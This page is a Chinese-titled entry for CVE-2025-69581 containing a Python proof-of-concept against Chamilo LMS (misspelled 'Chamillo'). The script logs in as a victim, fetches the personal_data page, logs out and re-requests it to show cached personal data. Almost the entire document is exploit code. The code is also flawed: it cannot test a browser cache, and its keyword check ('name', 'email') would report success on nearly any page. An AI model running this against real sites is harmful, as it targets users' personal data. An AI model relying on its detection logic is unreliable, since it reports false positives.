CVE-2025-69581 Chamillo LMS登出后敏感用户信息泄露漏洞

# CVE-2025-69581 PoC - Chamillo LMS Sensitive Information Disclosure # This PoC demonstrates the information disclosure vulnerability via browser cache import requests import time TARGET_URL = "http://target-server/chamilo-lms" PERSONAL_DATA_ENDPOINT = f"{TARGET_URL}/social/personal_data" def exploit_cve_2025_69581(): """ Steps to exploit the vulnerability: 1. Authenticate as a legitimate user 2. Access the personal_data endpoint to trigger caching 3. Logout from the application 4. Use browser back button or directly access the cached endpoint 5. Sensitive information will be displayed without authentication """ session = requests.Session() # Step 1: Login as a legitimate user login_data = { "username": "victim_user", "password": "victim_password" } login_response = session.post(f"{TARGET_URL}/login", data=login_data) if login_response.status_code != 200: print("[-] Login failed") return False print("[+] Successfully logged in") # Step 2: Access personal_data endpoint to trigger caching personal_data_response = session.get(PERSONAL_DATA_ENDPOINT) if personal_data_response.status_code == 200: print("[+] personal_data endpoint accessed, content cached by browser") print(f"[+] Response headers: {personal_data_response.headers}") # Step 3: Logout logout_response = session.post(f"{TARGET_URL}/logout") print("[+] User logged out") # Step 4: Try to access the cached endpoint without authentication # In real scenario, this would be done via browser back button # The server may reject, but browser will show cached content unauthenticated_response = session.get(PERSONAL_DATA_ENDPOINT) # Check if response contains sensitive information sensitive_keywords = ["name", "email", "phone", "address", "profile"] for keyword in sensitive_keywords: if keyword.lower() in unauthenticated_response.text.lower(): print(f"[!] Sensitive keyword '{keyword}' found in response") print("[!] Vulnerability confirmed: Information disclosure via cache") return True return False if __name__ == "__main__": print("CVE-2025-69581 - Chamillo LMS Information Disclosure") print("=" * 50) exploit_cve_2025_69581()